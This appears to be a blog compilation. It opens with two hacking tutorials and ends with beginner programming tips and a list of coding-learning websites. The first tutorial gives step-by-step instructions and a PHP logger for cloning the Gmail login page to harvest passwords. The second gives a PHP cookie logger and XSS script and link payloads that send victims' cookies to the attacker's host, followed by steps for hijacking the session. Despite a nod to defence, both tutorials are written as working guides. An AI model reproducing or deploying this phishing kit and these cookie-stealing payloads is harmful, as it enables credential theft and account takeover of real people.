Phishing (For beginners and a revision for elite hackers) #Hacker #Phishing #Infosec

Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack.


1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Hotmail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.


2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit <CTR> + S which does this automatically. Choose where you would like to save the web page and hit Save.



3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.


4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.


Code:



<?php // This marks the beginning of the PHP script.
Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.
$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it ready for appending data. Which in this case is your username and password.



Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
} // This section simply assigns all the information going through this form to a variable. This includes your username and password.
Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”
fclose($handle); // This simply closes the connection to the file “list.txt”
exit;
?> // Marks the end of the PHP program.



5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.


6. Hit <CTR> + F , or go to Edit -> Find , type in action and hit “Find Next”[size=78%].[/size]

7. This will highlight the first occurrence of the word “action” in the script.There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google.Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.


8. Save and close the file.


9. Next the hacker would upload the files up to a free webhost that supports PHP. With a simple Google search you can come up with a bunch that fall under this category.


10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”.



11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.
12. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL.
As you can see if you fell for this the hacker would have your email and password. Scary, eh?

Cookie Stealing(Session Hijacking) #SessionHijacking #WebAdmin #Javascript #Java #Php

 

Cookies Stealing

Here we show how you can hack a session using javascript and php.Everyone knows what XSS is, right? Good, I’ll spare you the definition. A common use for XSS is stealing cookies to hijack sessions and gain access to restricted web content. Cookie stealing is typically done by forcing a target’s browser to issue some sort of GET request to a server controlled by the attacker which accepts the target’s cookie as a parameter and processes it in some way. In most cases, when a cookie stealing XSS attack is successful, it generates a visual clue which can tip off the target. While it is too late at this point, stealth has been compromised, and could be the difference between the user keeping the session active, or clicking ‘log out’ and rendering your stolen cookie invalid.
 
Cookies Stealing And Session Hijacking
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged every time it accesses the server. A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time. Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

Cookies Stealing
What can we do after stealing cookie?
Well,as we know web sites authenticate their user’s with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.


PHP Code:

<?php
function GetIP()

{
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
$ip = getenv(“REMOTE_ADDR”);
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], “unknown”))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = “unknown”;
return($ip);
}
function logData()
{
$ipLog=”log.txt”;
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get(‘register_gobals’);
if ($register_globals) $ip = getenv(‘REMOTE_ADDR’);
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date (“l dS of F Y h:i:s A”);
$log=fopen(“$ipLog”, “a+”);
if (preg_match(“/\bhtm\b/i”, $ipLog) || preg_match(“/\bhtml\b/i”, $ipLog))
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
“);
else
fputs($log, “IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n”);
fclose($log);
}
logData();
?>
Save the script as a cookielogger.php on your server. (You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.
 

Cookies Stealing
Now for the hack to work we have to inject this piece of javascript into the target’s page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites don't allow javascript so you gotta be lucky to try this.The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookie logger on your host.
Code:
<script language=”Java script”>
document.location=”http://www.yourhost.com/cookielogger.php?cookie=&quot; + document.cookie;
</script>
You can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”>Click here!</a>

Clicking an image also can activate the script. For this purpose you can use the below code.
Code:
<a href=”java script:document.location=’http://www.yourhost.com/cookielogger.php?cookie=’+document.cookie;”&gt;
<img src=”URL OF THE IMAGE”/></a>
All the details like cookie, ipaddress, browser of the victim are logged in to log.txt on your hostserver. In the above codes please remove the space in between javascript.


 

Hijacking the Session:
Now we have cookie, what to do with this..? Download cookie editor mozilla plugin or you may find other plugins as well.Go to the target site–>open cookie editor–>Replace the cookie with the stolen cookie of the victim and refresh the page. Thats it!!! you should now be in the victim's account.

My five quick tips for #Beginner Computer #programmers- #Programming

Today I’ve just decided to converse/talk/blog; just decided to give it to you right quick. Just read through, may help a brother or a sister out there *Giggling* of course I will be blogging about technology {Programming} let’s not get sentimental here =)
I want to give my first five quick tips to everyone who is starting programming to kind of get a general sense of what it is {am so not keeping count, am writing this straight from the brain, if they are more or less, just embrace it *Grinning*}. I only knew about programming when I got hold of a programming e-book. Like most of you who got to hear about it and learn it in college, on my side that wasn’t the case. I had to learn it on my own. I didn’t like how I was being taught by most of the e-books as in they were teaching you certain computer programming languages but they weren’t teaching you the concept of what programming is in general(am so sure this happens in colleges too).
My first quick tip is this: don’t look at computer programming as a set of commands or functions, look at it as a problem solving tool, that’s all it is. You are just trying to solve a problem and you have a tool that allows you to solve a problem, that’s all it is, look at it as a problem solving tool and when you look at it that way then later on when you know let’s say five programming languages then you will be able to choose a specific one out of those five to solve each specific problem because different problems require different types of solutions. One type of problem needs more speed, another problem needs a different type of sorting algorithm and different programming languages have different functions for those. Some will work faster, some will work slower so once you look at it, just look at it as a problem solving tool.
Second tip is that: you shouldn’t mix; you should start with one programming language and stick with that. I would personally recommend you start from C++, that is what I did but you can really start from anything you want: you can start from visual basic, you can start from PHP, you can start from anything and C++ is just my preference. I think it’s good you start from that because it’s pretty challenging and you learn all the basics, all the fundamentals stuff like the pointers and everything else and that is good; for me it was good. For you it might be better to start from Java *Smiling* I don’t know but the bottom line is this-you have to start from one programming language and don’t incorporate everything else together cause that is just going to confuse you. You’ve got to learn the syntax of one programming language, learn all the functions of it and how it works, get a general sense of the whole thing. I’d say dedicate at least two years, *runs fingers through the hair* okay at least one year but I’d say two years, dedicate it to one programming language so you know it fully. Once you do that then you can move to another programming language. That’s what I did when I was finished with Java I moved on to PHP I think and it took me a month to learn, to just get a sense of how it works, just to learn how it function, tracks and how to make the variables plus all those small stuffs. The reason is because I already knew the concept of programming and besides I was already comfortable with one programming language. The thing with programming is that all programming languages is that they share a lot of similarity, I mean there’s different syntaxes, there’s different functions in this and that but most of the stuff is very similar, so once you learn one language, learning another is not that difficult; so definitely do that.






Third is: Please keep your code clean. There is a tendency, when I was starting the program; there is this tendency to over complicate code because in a way you want to write a lot of code {you get excited ““OOo0oHH””I just want to with a lot of code}, it’s good in a way cause that means you’re passionate about it but what’s bad about it: you end up with a SPAGHETTI CODE. A spaghetti code is very difficult to understand at the end, when you write a code and you try to come back to maintain or debug or do whatever else you want with the code, it’s very difficult to do that. Try to keep it very clean, by clean I mean use understandable variable names but don’t make them too long, your function names once again don’t make them too long, it should be like this: when you’re looking at that page, you shouldn’t be scrolling to the right all the time, what I mean by that- it has to be short because sometimes you know you have this conditional statement which goes on and on, you have to break it down. If something is too long you have to break it down, if something is too complicated, you have to break it down. If you see something is getting way too complicated, you have to break it down, that’s rule thumb, you’ve got to think of another way to do it because if it’s really that complicated it: its to come back at you later on when you’re trying to debug it or connect it to another program or whatever else you are trying to do.
The other thing I’ve got to tell you {Fourth tip}, a lot of the beginners don’t test their code before moving on, what I mean by that is this: when you are writing a couple lines of code, please test it, please debug it, please makes sure it works{You will thank me later}. Here is what happens, you write a code, you think it works *smirking* you are confident that’s going to work because you think that’s what you wrote but there is so many times you write a code that you meant to do something but actually does something else. Later on you find that out and it takes you so long, it’s a tedious process. It’s a tedious process because you haven’t checked it when you wrote it so every time when you’re writing a couple lines of code just go over make sure it’s right, debug it, and test it. This is important especially when you are doing a huge project and it has like thousands line of code, at the end imagine there’s a little syntax problems or ideological problem it’s going to very difficult to find later on. ~Write and test ~Write and Test ~Write and Test~ with experience you might write thirty or forty lines of code before testing, not that because you are confident, you are sure because you have done it so many times.
The very last tip is this, this is not really for beginner computer programmers, this is really for people who are trying to make a decision if they should get into programming or not, so here is my advice {this goes beyond the scope of programming, it relates to life in general} but I will say this if you don’t love programming, don’t get into it-Am neither being rude nor mean here, am just trying to save you money and time. Students drop out of colleges and universities, the reason being that they thought that programming; they heard from someone that computer programming/computer engineering brings you lots of money. Students drop out because they can handle it; the reason is because computer programming is not like in the movies where you type a couple of “things”, then break into their system and get all the money *Giggling*-It’s not like that I mean, it takes a lot of time to go over a code, to think about the problem, to plan it out then write a code, go over it and make sure the code is clean. It takes so much patient, it takes so much time, it’s overwhelming at times; you have to really love it. You have to really love, not programming but problem solving in general, you have to love it in order to enjoy programming, in order to get a job and not get sick of it after like *grinning* forty years you know, be able to constantly develop and that is only going to happen if you love it. As I say it goes for everything, money should be your reason.
I know I said I was going to give you five tips, and my last one is really important. When you read a problem don’t just jump into writing the code; it’s not right, I mean it’s always going to fail you and you always going to get mad at the end {I have done that; it’s not good}. When you’re reading a problem, try to understand the requirements {I know it sounds very cliché but you know this is true}, when you get to the problem try to understand the requirements, try to understand what it wants. Draw a chart, try to see the data flow where one thing flows and where it ends up, how does it change, you know try to connect them; try to see it on your mind. Try to plan it out, see it very clearly. Once you have the solution on your mind, you know exactly how to solve it, and then proceed to programming it. You see if you don’t do that it’s going to go back to messy code; because you are going to be solving it as you are writing it and that’s not good, you’re kind of winging it, that’s not good, that’s not planned. You have to plan it first because when it’s planned, then you’ll have a much clear code, much organized code and it will work and that’s really the most important thing.

6 Useful #Websites to Learn #coding as a #Beginner to #Expert.

#1. w3schools -
W3schools is number 1 as it helps beginners to learn
code from A to Z.
All You need to do is just go to W3schools and select a tutorial of the language you want to learn, then
take a cup of coffee and start learning.
No skills required.
You will learn > HTML/ CSS (HTML5/CSS3), Javascript, PHP, ASP, XML, AJAX, jQuery





#2. Codecademy -
Codecademy is a best alternative to W3schools,. with Codecademy you can learn any language and start programming in a funny way.
No skill required.
You will learn > HTML/CSS, PHP, jQuery, JavaScript, Python, Ruby





#3. Code avengers
Same as Codecademy, Code avengers provides an easy to use platform and its a funny way to code and gain experience.It comes with 3 Levels that a user have to pass them to become a full expert. No Skills Required
You will learn > HTML/CSS (HTML5/CSS3), JavaScript





#4. CodeSchool -
Codeschool provides you a very easy to use interface, Design, and not much unwanted text.
No skills required.Language you will learn > HTML/CSS, Ruby on Rails, JavaScript, iOS





#5. TeamtreeHouse -
Teamtreehouse is very similar to Codeschool which provides you simple and easy way to learn Coding.
No skills required. Languages you.Will learn HTML/CSS, iOS,. Android, Wordpress





#6. Dreamincode -
Last one is Dreamincode, many developers and programmers have taken their knowledge from Dreamincode.  The only thing is the interface is a bit boring and plenty of text as well.
No skill required Languages you will learn> C++, Java, VB, VB.net, C#, PHP, ColdFusion,
Thats it, Try these Sites to enhance your coding knowledge, Very usefull For beginners.